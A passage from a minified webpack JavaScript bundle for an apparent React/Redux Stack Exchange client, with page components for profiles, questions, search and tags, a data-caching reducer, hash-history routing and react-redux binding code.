e.props.has_more?a["default"].createElement("button",{className:"blueButton",onClick:e.increasePage},"Load More..."):void 0}())))}});t["default"]=i.connect(function(e,t){for(var n={me:s["default"](e,'data["me|profile"].items[0]'),badges:[],badgefilter:s["default"](e,"data.badgefilter.items[0].filter")},r=1;e.data["me|badges|"+r];){var o=e.data["me|badges|"+r];o.items&&o.items.map(function(e){n.badges.push(e)}),n.has_more=o.has_more,r++}return n},{loadDataFromApi:l.loadDataFromApi})(p),e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var o=n(6),a=r(o),i=n(22),u=n(17),s=r(u),c=n(15),l=n(16),p=a["default"].createClass({displayName:"ProfileContainer",mixins:[c.History],loadData:function(e,t){e.loadDataFromApi({endpoint:"filter/create?include=user.about_me;user.answer_count;user.view_count",datapointer:"userfilter",nosite:!0});var n=e.userfilter;n&&e.loadDataFromApi({endpoint:"me?filter="+n,datapointer:"me|profile"})},componentWillMount:function(){this.loadData(this.props)},componentWillReceiveProps:function(e){this.loadData(e)},render:function(){var e=this.props.children;return a["default"].createElement("div",null,a["default"].createElement("div",{id:"profileLinks",className:"alignRight"},a["default"].createElement(c.Link,{className:"profileLink",activeClassName:"active",onlyActiveOnIndex:!0,to:"/profile",className:"profileLink"},"My Profile"),a["default"].createElement(c.Link,{className:"profileLink",activeClassName:"active",to:"/profile/favorites",className:"profileLink"},"My Favorites"),a["default"].createElement(c.Link,{className:"profileLink",activeClassName:"active",to:"/profile/answers",className:"profileLink"},"My Answers")),e)}});t["default"]=i.connect(function(e,t){return{userfilter:s["default"](e,"data.userfilter.items[0].filter")}},{
loadDataFromApi:l.loadDataFromApi})(p),e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},a=n(6),i=r(a),u=n(22),s=n(17),c=r(s),l=n(15),p=n(298),f=r(p),d=n(16),h=i["default"].createClass({displayName:"QuestionPage",getInitialState:function(){return{}},mixins:[l.History],loadData:function(e,t){console.log(e);var n=e.params.id;n&&(console.log("loading data"),console.log("questions/"+n+"?filter=withbody"),console.log("questions/"+n+"/answers?filter=withbody"),this.props.loadDataFromApi({endpoint:"questions/"+n+"?filter=withbody",datapointer:"question|"+n}),this.props.loadDataFromApi({endpoint:"questions/"+n+"/answers?filter=withbody",datapointer:"answers|"+n}))},componentWillMount:function(){this.loadData(this.props)},componentWillReceiveProps:function(e){this.loadData(e)},interact:function(e,t,n){var r=this;return function(){var o={endpoint:t+"/"+n+"/"+e+"?filter=default&preview=false",datapointer:t+"/"+n+"/"+e,auth:!0};if(e.indexOf("undo")>=0){var a=e.split("/")[0];r.props.expireData(a+"|"+n)}else o.datapointer=e+"|"+n;return r.props.loadDataFromApi(o),!1}},render:function(){var e=this;return i["default"].createElement("div",{id:"questionPage"},i["default"].createElement("div",{className:"question borderBottom"},i["default"].createElement("h3",{className:"borderBottom",dangerouslySetInnerHTML:function(){return{__html:c["default"](e.props,"question.title")}}()}),i["default"].createElement(f["default"],o({},this.props.question,{interact:this.interact,type:"questions",id:c["default"](this.props,"question.question_id")}))),i["default"].createElement("div",null,i["default"].createElement("h3",{className:"borderBottom"},c["default"](this.props,"answers.length")>=0?"Answers":""),i["default"].createElement("div",null,function(){var t=c["default"](e.props,"answers");return t?t.map(function(t){return i["default"].createElement(f["default"],o({className:"answer borderBottom"},t,{interact:e.interact,type:"answers",id:c["default"](t,"answer_id")}))}):"Loading..."}())))}});t["default"]=u.connect(function(e,t){var n=t.params.id;if(n){var r={question:c["default"](e.data,"question|"+n+".items[0]"),answers:c["default"](e.data,"answers|"+n+".items")};if(r.question&&r.question_id&&(r.question.upvote=c["default"](e.data,"upvote|"+r.question_id),r.question.downvote=c["default"](e.data,"downvote|"+r.question_id),r.question.favorite=c["default"](e.data,"favorite|"+r.question_id)),r.answers&&r.answers.length)for(var o in r.answers)r.answers[o].upvote=c["default"](e.data,"upvote|"+r.answers[o].answer_id),r.answers[o].downvote=c["default"](e.data,"downvote|"+r.answers[o].answer_id),r.answers[o].favorite=c["default"](e.data,"favorite|"+r.answers[o].answer_id);return r}return{}},{loadDataFromApi:d.loadDataFromApi,expireData:d.expireData})(h),e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var o=n(6),a=r(o),i=n(22),u=n(17),s=r(u),c=n(15),l=n(16),p=n(77),f=r(p),d=a["default"].createClass({displayName:"SearchPage",getInitialState:function(){return{page:1}},mixins:[c.History],loadData:function(e,t){var n=this,r=s["default"](e,"location.query.q"),a=s["default"](e,"location.query.sort")||"relevance";r&&(r=encodeURIComponent(r),a=encodeURIComponent(a),this.refs&&this.refs.q&&(o.findDOMNode(this.refs.q).value=r),this.state.q?this.state.q!=r&&this.setState({q:r,page:1}):this.setState({q:r}),setTimeout(function(){for(var o=1;o<=n.state.page;o++)e.loadDataFromApi({endpoint:"/search/advanced?q="+r+"&sort="+a+"&page="+o,forceExpire:t})},0))},componentWillMount:function(){this.setState({page:1}),this.loadData(this.props)},componentWillReceiveProps:function(e){this.loadData(e)},setSort:function(){var e=s["default"](this.props,"location.query.q"),t=encodeURIComponent(o.findDOMNode(this.refs.sort).value);e?(e=encodeURIComponent(e),this.history.pushState({},"/search?q="+e+"&sort="+t)):this.history.pushState({},"/search?sort="+t)},execSearch:function(){var e=o.findDOMNode(this.refs.q).value,t=s["default"](this.props,"location.query.sort")||"relevance";e&&(e=encodeURIComponent(e),t=encodeURIComponent(t),this.setState({page:1}),this.history.pushState({},"/search?q="+e+"&sort="+t))},increasePage:function(){var e={page:this.state.page+1};this.setState(e),this.loadData(this.props)},render:function(){var e=this;return a["default"].createElement("div",{id:"searchPage"},a["default"].createElement("form",{onSubmit:this.execSearch,className:"searchForm"},a["default"].createElement("input",{className:"search",placeholder:"Search for Questions",type:"text",ref:"q",defaultValue:s["default"](this.props,"location.query.q")?s["default"](this.props,"location.query.q"):""}),a["default"].createElement("input",{type:"submit",className:"submit",value:"Search"}),a["default"].createElement("span",null,a["default"].createElement("label",null,"Sorted By:"),a["default"].createElement("select",{ref:"sort",defaultValue:s["default"](this.props,"location.query.sort")?s["default"](this.props,"location.query.sort"):"relevance",onChange:this.setSort},a["default"].createElement("option",{value:"relevance"},"Relevance"),a["default"].createElement("option",{value:"activity"},"Activity"),a["default"].createElement("option",{value:"creation"},"Creation Date"),a["default"].createElement("option",{value:"votes"},"Score")))),a["default"].createElement("div",null,function(){var t=s["default"](e.props,"items");return t?t.map(function(e){return a["default"].createElement(f["default"],e)}):s["default"](e.props,"location.query.q")?"Loading...":"Get searching!"}()),a["default"].createElement("div",{className:"alignRight"},function(){return e.props.has_more?a["default"].createElement("button",{className:"blueButton",onClick:e.increasePage},"Load More..."):void 0}()))}});t["default"]=i.connect(function(e,t){var n=s["default"](t,"location.query.q"),r=s["default"](t,"location.query.sort")||"relevance";if(n){var o=function(){n=encodeURIComponent(n),r=encodeURIComponent(r);for(var t={items:[]},o=1;e.data["/search/advanced?q="+n+"&sort="+r+"&page="+o];){var a=e.data["/search/advanced?q="+n+"&sort="+r+"&page="+o];a.items&&(a.items.map(function(e){t.items.push(e)}),t.has_more=a.has_more),o++}return{v:t}}();if("object"==typeof o)return o.v}return{}},{loadDataFromApi:l.loadDataFromApi})(d),e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var o=n(6),a=r(o),i=n(22),u=n(17),s=r(u),c=n(15),l=n(16),p=n(77),f=r(p),d=a["default"].createClass({displayName:"TagDetailPage",getInitialState:function(){return{page:1}},mixins:[c.History],loadData:function(e,t){var n=this,r=e.params.tag;r&&setTimeout(function(){for(var o=1;o<=n.state.page;o++)e.loadDataFromApi({endpoint:"/questions?tagged="+r+"&sort=hot&page="+o,datapointer:"questionsByTag|"+r+"|"+o,forceExpire:t})},0)},componentWillMount:function(){this.loadData(this.props)},componentWillReceiveProps:function(e){this.loadData(e)},increasePage:function(){var e={page:this.state.page+1};this.setState(e),this.loadData(this.props)},render:function(){var e=this;return a["default"].createElement("div",null,a["default"].createElement("h2",{className:"heading"},"Questions tagged ",this.props.params.tag),a["default"].createElement("div",null,function(){var t=s["default"](e.props,"questions");return t?t.map(function(e){return a["default"].createElement(f["default"],e)}):""}()),a["default"].createElement("div",{className:"alignRight"},function(){return e.props.has_more?a["default"].createElement("button",{className:"blueButton",onClick:e.increasePage},"Load More..."):void 0}()))}});t["default"]=i.connect(function(e,t){var n=t.params.tag;if(n){var r=function(){for(var t={questions:[]},r=1;e.data["questionsByTag|"+n+"|"+r];){var o=e.data["questionsByTag|"+n+"|"+r];o.items&&o.items.map(function(e){t.questions.push(e)}),t.has_more=o.has_more,r++}return{v:t}}();if("object"==typeof r)return r.v}return{}},{loadDataFromApi:l.loadDataFromApi})(d),e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var o=n(6),a=r(o),i=n(22),u=n(17),s=r(u),c=n(15),l=n(16),p=a["default"].createClass({displayName:"TagListingPage",getInitialState:function(){return{page:1}},mixins:[c.History],loadData:function(e,t){var n=this;setTimeout(function(){for(var t=1;t<=n.state.page;t++)e.loadDataFromApi({endpoint:"tags?page="+t+"&sort=popular&order=desc&pagesize=20",datapointer:"tags?page="+t})},0);for(var r=1;r<=this.state.page;r++)e.tagPages&&e.tagPages[r]&&e.loadDataFromApi({endpoint:"tags/"+e.tagPages[r]+"/wikis",datapointer:"tagWiki|"+r})},componentWillMount:function(){this.loadData(this.props)},componentWillReceiveProps:function(e){this.loadData(e)},increasePage:function(){var e={page:this.state.page+1};this.setState(e),this.loadData(this.props)},render:function(){var e=this;return a["default"].createElement("div",null,a["default"].createElement("h2",{className:"heading flame"},"Hottest Tags"),a["default"].createElement("div",{className:"alignCenter"},s["default"](this.props,"tags",[]).map(function(e){return a["default"].createElement("div",{className:"tagListing alignLeft"},a["default"].createElement("div",null,a["default"].createElement(c.Link,{className:"tagLink",to:"/tags/"+e.name},e.name),"x ",a["default"].createElement("span",null,e.count)),a["default"].createElement("div",{dangerouslySetInnerHTML:function(){return{__html:e.excerpt}}()}))})),a["default"].createElement("div",{className:"alignRight"},function(){return e.props.has_more?a["default"].createElement("button",{className:"blueButton",onClick:e.increasePage},"Load More..."):void 0}()))}});t["default"]=i.connect(function(e,t){for(var n={tagPages:[],tags:[]},r=1,o={},a=function(){var t=e.data["tags?page="+r],a=[];t.items&&(t.items.map(function(e){n.tags.push(e),o[e.name]=e,a.push(encodeURIComponent(e.name))}),n.tagPages[r]=a.join(";"),n.has_more=t.has_more),r++};e.data["tags?page="+r];)a();for(r=1;e.data["tagWiki|"+r];){var i=e.data["tagWiki|"+r];i.items&&i.items.map(function(e){o[e.tag_name]&&(o[e.tag_name].excerpt=e.excerpt)}),r++}return n},{loadDataFromApi:l.loadDataFromApi})(p),e.exports=t["default"]},function(e,t,n){"use strict";function r(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t["default"]=e,t}function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){void 0===e&&(e={});var n=t.type;if(n===c.EXPIRE_DATA&&!t.datapointer||n===c.AUTH_COMPLETE||n===c.LOGOUT){var r=function(){var t=Object.assign({},e);return Object.getOwnPropertyNames(t).forEach(function(n,r,o){t[n].auth?(delete t[n],delete e[n]):t[n].expires=0}),{v:Object.assign({},e,t)}}();if("object"==typeof r)return r.v}else{if(n===c.EXPIRE_DATA&&t.datapointer){var a=Object.assign({},e),i=t.datapointer;return a[i].auth?(delete a[i],delete e[i]):a[i].expires=0,Object.assign({},e,a)}if(n===c.API_REQUEST){var u=t.endpoint,s=t.datapointer,i=void 0===s?u:s;return Object.assign({},e,o({},i,{IS_LOADING:!0}))}if(n===c.API_RESPONSE||n===c.API_ERROR){var u=t.endpoint,l=t.expiresMinutes,p=void 0===l?60:l,f=t.datapointer,i=void 0===f?u:f;if(n===c.API_ERROR){var d=t.error;return d.expires=0,Object.assign({},e,o({},i,d))}var h=t.response,v=t.auth;return h.expires=(new Date).getTime()+60*p*1e3,h.auth=v,Object.assign({},e,o({},i,h))}}return e}function i(e,t){void 0===e&&(e={});var n=t.type;if(n===c.AUTH_REQUEST)return{};if(n===c.AUTH_COMPLETE){var r=t.accessToken;return{access_token:r}}return n===c.LOGOUT||n===c.AUTH_ERROR?{}:e}function u(e,t){return void 0===e&&(e="0"),e}Object.defineProperty(t,"__esModule",{value:!0});var s=n(16),c=r(s),l=n(122),p=l.combineReducers({data:a,user:i,version:u});t["default"]=p,e.exports=t["default"]},function(e,t){"use strict";function n(e,t,n){function r(){i=!0,n.apply(this,arguments)}function o(){i||(e>a?t.call(this,a++,o,r):r.apply(this,arguments))}var a=0,i=!1;o()}t.__esModule=!0,t.loopAsync=n},function(e,t){"use strict";function n(e){return a+e}function r(e,t){window.sessionStorage.setItem(n(e),JSON.stringify(t))}function o(e){var t=window.sessionStorage.getItem(n(e));if(t)try{return JSON.parse(t)}catch(r){}return null}t.__esModule=!0,t.saveState=r,t.readState=o;var a="@@History/"},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}function o(e){function t(e){return u["default"](s.canUseDOM,"DOM history needs a DOM"),n.listen(e)}var n=p["default"](a({getUserConfirmation:c.getUserConfirmation},e,{go:c.go}));return a({},n,{listen:t})}t.__esModule=!0;var a=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},i=n(97),u=r(i),s=n(148),c=n(147),l=n(314),p=r(l);t["default"]=o,e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}function o(e){return"string"==typeof e&&"/"===e.charAt(0)}function a(){var e=g.getHashPath();return o(e)?!0:(g.replaceHashPath("/"+e),!1)}function i(e,t,n){return e+(-1===e.indexOf("?")?"?":"&")+(t+"="+n)}function u(e,t){return e.replace(new RegExp("[?&]?"+t+"=[a-zA-Z0-9]+"),"")}function s(e,t){var n=e.match(new RegExp("\\?.*?\\b"+t+"=(.+?)\\b"));return n&&n[1]}function c(){function e(){var e=g.getHashPath(),t=void 0,n=void 0;return _&&(t=s(e,_),e=u(e,_),t?n=y.readState(t):(n=null,t=w.createKey(),g.replaceHashPath(i(e,_,t)))),N["default"](e,n,void 0,t)}function t(t){function n(){a()&&r(e())}var r=t.transitionTo;return a(),g.addEventListener(window,"hashchange",n),function(){g.removeEventListener(window,"hashchange",n)}}function n(e){var t=e.pathname,n=e.search,r=e.state,o=e.action,a=e.key;if(o!==v.POP){var u=t+n;_&&(u=i(u,_,a)),u===g.getHashPath()?f["default"](!1,"You cannot %s the same path using hash history",o):(_?y.saveState(a,r):e.key=e.state=null,o===v.PUSH?window.location.hash=u:g.replaceHashPath(u))}}function r(e){1===++x&&(D=t(w));var n=w.listen(e);return function(){n(),0===--x&&D()}}function o(e,t){f["default"](_||null==e,"You cannot use state without a queryKey it will be dropped"),w.pushState(e,t)}function c(e,t){f["default"](_||null==e,"You cannot use state without a queryKey it will be dropped"),w.replaceState(e,t)}function p(e){f["default"](C,"Hash history go(n) causes a full page reload in this browser"),w.go(e)}function d(e){return"#"+w.createHref(e)}var E=arguments.length<=0||void 0===arguments[0]?{}:arguments[0];h["default"](m.canUseDOM,"Hash history needs a DOM");var _=E.queryKey;(void 0===_||_)&&(_="string"==typeof _?_:O);var w=b["default"](l({},E,{getCurrentLocation:e,finishTransition:n,saveState:y.saveState})),x=0,D=void 0,C=g.supportsGoWithoutReloadUsingHash();return l({},w,{listen:r,pushState:o,replaceState:c,go:p,createHref:d})}t.__esModule=!0;var l=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},p=n(98),f=r(p),d=n(97),h=r(d),v=n(96),m=n(148),g=n(147),y=n(311),E=n(312),b=r(E),_=n(149),N=r(_),O="_k";t["default"]=c,e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}function o(e){return Math.random().toString(36).substr(2,e)}function a(e,t){return e.pathname===t.pathname&&e.search===t.search&&e.key===t.key&&d["default"](e.state,t.state)}function i(){function e(){return U&&U.action===v.POP?V.indexOf(U.key):L?V.indexOf(L.key):-1}function t(t){var n=e();L=t,L.action===v.PUSH?V=[].concat(V.slice(0,n+1),[L.key]):L.action===v.REPLACE&&(V[n]=L.key),j.forEach(function(e){e(L)})}function n(e){j.push(e)}function r(e){j=j.filter(function(t){return t!==e})}function i(e){if(n(e),L)e(L);else{var o=M();V=[o.key],t(o)}return function(){r(e)}}function s(e){-1===A.indexOf(e)&&A.push(e)}function l(e){A=A.filter(function(t){return t!==e})}function f(e,t,n){var r=e(t,n);e.length<2?n(r):c["default"](void 0===r,'You should not "return" in a transition hook with a callback argument call the callback instead')}function d(e,t){h.loopAsync(A.length,function(t,n,r){f(A[t],e,function(e){null!=e?r(e):n()})},function(e){k&&"string"==typeof e?k(e,function(e){t(e!==!1)}):t(e!==!1)})}function m(e){L&&a(L,e)||(p["default"](null==U,"transitionTo: Another transition is already in progress"),U=e,d(e,function(n){if(U=null,n)R(e),t(e);else if(L&&e.action===v.POP){var r=V.indexOf(L.key),o=V.indexOf(e.key);-1!==r&&-1!==o&&T(r-o)}}))}function E(e,t){m(g["default"](t,e,v.PUSH,x()))}function b(e,t){m(g["default"](t,e,v.REPLACE,x()))}function _(e){L?(N(L,e),t(L)):N(M(),e)}function N(e,t){e.state=u({},e.state,t),S(e.key,e.state)}function O(){T(-1)}function w(){T(1)}function x(){return o(I)}function D(e){return e}function C(e){return D(e)}var P=arguments.length<=0||void 0===arguments[0]?{}:arguments[0],M=P.getCurrentLocation,R=P.finishTransition,S=P.saveState,T=P.go,I=P.keyLength,k=P.getUserConfirmation;"number"!=typeof I&&(I=y);var A=[],j=[],L=void 0,V=[],U=void 0;return{listen:i,registerTransitionHook:s,unregisterTransitionHook:l,transitionTo:m,pushState:E,replaceState:b,setState:_,go:T,goBack:O,goForward:w,createKey:x,createPath:D,createHref:C}}t.__esModule=!0;var u=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},s=n(98),c=r(s),l=n(97),p=r(l),f=n(315),d=r(f),h=n(310),v=n(96),m=n(149),g=r(m),y=6;t["default"]=i,e.exports=t["default"]},function(e,t,n){function r(e){return null===e||void 0===e}function o(e){return e&&"object"==typeof e&&"number"==typeof e.length?"function"!=typeof e.copy||"function"!=typeof e.slice?!1:e.length>0&&"number"!=typeof e[0]?!1:!0:!1}function a(e,t,n){var a,l;if(r(e)||r(t))return!1;if(e.prototype!==t.prototype)return!1;if(s(e))return s(t)?(e=i.call(e),t=i.call(t),c(e,t,n)):!1;if(o(e)){if(!o(t))return!1;if(e.length!==t.length)return!1;for(a=0;a<e.length;a++)if(e[a]!==t[a])return!1;return!0}try{var p=u(e),f=u(t)}catch(d){return!1}if(p.length!=f.length)return!1;for(p.sort(),f.sort(),a=p.length-1;a>=0;a--)if(p[a]!=f[a])return!1;for(a=p.length-1;a>=0;a--)if(l=p[a],!c(e[l],t[l],n))return!1;return typeof e==typeof t}var i=Array.prototype.slice,u=n(317),s=n(316),c=e.exports=function(e,t,n){return n||(n={}),e===t?!0:e instanceof Date&&t instanceof Date?e.getTime()===t.getTime():!e||!t||"object"!=typeof e&&"object"!=typeof t?n.strict?e===t:e==t:a(e,t,n)}},function(e,t){function n(e){return"[object Arguments]"==Object.prototype.toString.call(e)}function r(e){return e&&"object"==typeof e&&"number"==typeof e.length&&Object.prototype.hasOwnProperty.call(e,"callee")&&!Object.prototype.propertyIsEnumerable.call(e,"callee")||!1}var o="[object Arguments]"==function(){return Object.prototype.toString.call(arguments)}();t=e.exports=o?n:r,t.supported=n,t.unsupported=r},function(e,t){function n(e){var t=[];for(var n in e)t.push(n);return t}t=e.exports="function"==typeof Object.keys?Object.keys:n,t.shim=n},function(e,t,n){function r(e,t,n){if(null!=e){void 0!==n&&n in o(e)&&(t=[n]);for(var r=0,a=t.length;null!=e&&a>r;)e=e[t[r++]];return r&&r==a?e:void 0}}var o=n(322);e.exports=r},function(e,t){function n(e){return null==e?"":e+""}e.exports=n},function(e,t,n){function r(e,t){var n=null==e?void 0:e[t];return o(n)?n:void 0}var o=n(326);e.exports=r},function(e,t){function n(e){return"number"==typeof e&&e>-1&&e%1==0&&r>=e}var r=9007199254740991;e.exports=n},function(e,t,n){function r(e){return o(e)?e:Object(e)}var o=n(151);e.exports=r},function(e,t,n){function r(e){if(a(e))return e;var t=[];return o(e).replace(i,function(e,n,r,o){t.push(r?o.replace(u,"$1"):n||e)}),t}var o=n(319),a=n(324),i=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\n\\]|\\.)*?)\2)\]/g,u=/\\(\\)?/g;e.exports=r},function(e,t,n){var r=n(320),o=n(321),a=n(150),i="[object Array]",u=Object.prototype,s=u.toString,c=r(Array,"isArray"),l=c||function(e){return a(e)&&o(e.length)&&s.call(e)==i};e.exports=l},function(e,t,n){function r(e){return o(e)&&u.call(e)==a}var o=n(151),a="[object Function]",i=Object.prototype,u=i.toString;e.exports=r},function(e,t,n){function r(e){return null==e?!1:o(e)?l.test(s.call(e)):a(e)&&i.test(e)}var o=n(325),a=n(150),i=/^\[object .+?Constructor\]$/,u=Object.prototype,s=Function.prototype.toString,c=u.hasOwnProperty,l=RegExp("^"+s.call(c).replace(/[\\^$.*+?()[\]{}|]/g,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");e.exports=r},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}function o(e){var t=i["default"](e),n=s["default"](e);return{Provider:t,connect:n}}t.__esModule=!0,t["default"]=o;var a=n(329),i=r(a),u=n(328),s=r(u);e.exports=t["default"]},function(e,t,n){(function(r){"use strict";function o(e){return e&&e.__esModule?e:{"default":e}}function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function i(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function u(e){return e.displayName||e.name||"Component"}function s(e){var t=e.Component,n=e.PropTypes,o=f["default"](n);return function(n,s,p){function f(e,t){var n=e.getState(),r=P?x(n,t):x(n);return b["default"](m["default"](r),"`mapStateToProps` must return an object. Instead received %s.",r),r}function d(e,t){var n=e.dispatch,r=M?D(n,t):D(n);return b["default"](m["default"](r),"`mapDispatchToProps` must return an object. Instead received %s.",r),r}function v(e,t,n){var r=C(e,t,n);return b["default"](m["default"](r),"`mergeProps` must return an object. Instead received %s.",r),r}var g=arguments.length<=3||void 0===arguments[3]?{}:arguments[3],E=Boolean(n),x=n||_,D=m["default"](s)?y["default"](s):s||N,C=p||O,P=x.length>1,M=D.length>1,R=g.pure,S=void 0===R?!0:R,T=w++;return function(n){var s=function(t){function r(e,n){a(this,r),t.call(this,e,n),this.version=T,this.store=e.store||n.store,b["default"](this.store,'Could not find "store" in either the context or '+('props of "'+this.constructor.displayName+'". ')+"Either wrap the root component in a <Provider>, "+('or explicitly pass "store" as a prop to "'+this.constructor.displayName+'".')),this.stateProps=f(this.store,e),this.dispatchProps=d(this.store,e),this.state={props:this.computeNextState()}}return i(r,t),r.prototype.shouldComponentUpdate=function(e,t){return!S||!h["default"](this.state.props,t.props)},c(r,null,[{key:"displayName",value:"Connect("+u(n)+")",enumerable:!0},{key:"WrappedComponent",value:n,enumerable:!0},{key:"contextTypes",value:{store:o},enumerable:!0},{key:"propTypes",value:{store:o},enumerable:!0}]),r.prototype.computeNextState=function(){var e=arguments.length<=0||void 0===arguments[0]?this.props:arguments[0];return v(this.stateProps,this.dispatchProps,e)},r.prototype.updateStateProps=function(){var e=arguments.length<=0||void 0===arguments[0]?this.props:arguments[0],t=f(this.store,e);return h["default"](t,this.stateProps)?!1:(this.stateProps=t,!0)},r.prototype.updateDispatchProps=function(){var e=arguments.length<=0||void 0===arguments[0]?this.props:arguments[0],t=d(this.store,e);return h["default"](t,this.dispatchProps)?!1:(this.dispatchProps=t,!0)},r.prototype.updateState=function(){var e=arguments.length<=0||void 0===arguments[0]?this.props:arguments[0],t=this.computeNextState(e);h["default"](t,this.state.props)||this.setState({props:t})},r.prototype.isSubscribed=function(){return"function"==typeof this.unsubscribe},r.prototype.trySubscribe=function(){E&&!this.unsubscribe&&(this.unsubscribe=this.store.subscribe(this.handleChange.bind(this)),this.handleChange())},r.prototype.tryUnsubscribe=function(){this.unsubscribe&&(this.unsubscribe(),this.unsubscribe=null)},r.prototype.componentDidMount=function(){this.trySubscribe()},r.prototype.componentWillReceiveProps=function(e){h["default"](e,this.props)||(P&&this.updateStateProps(e),M&&this.updateDispatchProps(e),this.updateState(e))},r.prototype.componentWillUnmount=function(){this.tryUnsubscribe()},r.prototype.handleChange=function(){this.unsubscribe&&this.updateStateProps()&&this.updateState()},r.prototype.getWrappedInstance=function(){return this.refs.wrappedInstance},r.prototype.render=function(){return e.createElement(n,l({ref:"wrappedInstance"},this.state.props))},r}(t);return"production"!==r.env.NODE_ENV&&(s.prototype.componentWillUpdate=function(){this.version!==T&&(this.version=T,this.trySubscribe(),this.updateStateProps(),this.updateDispatchProps(),this.updateState())}),s}}}t.__esModule=!0;var c=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),l=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e};t["default"]=s;var p=n(152),f=o(p),d=n(331),h=o(d),v=n(330),m=o(v),g=n(332),y=o(g),E=n(333),b=o(E),_=function(){return{}},N=function(e){return{dispatch:e}},O=function(e,t,n){return l({},n,e,t)},w=0;e.exports=t["default"]}).call(t,n(2))},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function a(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function i(e){var t=e.version;if("string"!=typeof t)return!0;var n=t.split("."),r=parseInt(n[0],10),o=parseInt(n[1],10);return 0===r&&13===o}function u(e){function t(){h||d||(h=!0,console.error("With React 0.14 and later versions, you no longer need to wrap <Provider> child into a function."))}function n(){!h&&d&&(h=!0,console.error("With React 0.13, you need to wrap <Provider> child into a function. This restriction will be removed with React 0.14."))}function r(){v||(v=!0,console.error("<Provider> does not support changing `store` on the fly. It is most likely that you see this error because you updated to Redux 2.x and React Redux 2.x which no longer hot reload reducers automatically. See https://github.com/rackt/react-redux/releases/tag/v2.0.0 for the migration instructions."))}var u=e.Component,c=e.PropTypes,p=e.Children,f=l["default"](c),d=i(e),h=!1,v=!1;return function(e){function i(t,n){o(this,i),e.call(this,t,n),this.store=t.store}return a(i,e),i.prototype.getChildContext=function(){return{store:this.store}},s(i,null,[{key:"childContextTypes",value:{store:f.isRequired},enumerable:!0},{key:"propTypes",value:{store:f.isRequired,children:(d?c.func:c.element).isRequired},enumerable:!0}]),i.prototype.componentWillReceiveProps=function(e){var t=this.store,n=e.store;t!==n&&r()},i.prototype.render=function(){var e=this.props.children;return"function"==typeof e?(t(),e=e()):n(),p.only(e)},i}(u)}t.__esModule=!0;var s=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();t["default"]=u;var c=n(152),l=r(c);e.exports=t["default"]},function(e,t){"use strict";function n(e){if(!e||"object"!=typeof e)return!1;var t="function"==typeof e.constructor?Object.getPrototypeOf(e):Object.prototype;if(null===t)return!0;var n=t.constructor;return"function"==typeof n&&n instanceof n&&r(n)===r(Object)}t.__esModule=!0,t["default"]=n;var r=function(e){return Function.prototype.toString.call(e)};e.exports=t["default"]},function(e,t){"use strict";function n(e,t){if(e===t)return!0;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(var o=Object.prototype.hasOwnProperty,a=0;a<n.length;a++)if(!o.call(t,n[a])||e[n[a]]!==t[n[a]])return!1;return!0}t.__esModule=!0,t["default"]=n,e.exports=t["default"]},function(e,t,n){"use strict";function r(e){return function(t){return o.bindActionCreators(e,t)}}t.__esModule=!0,t["default"]=r;var 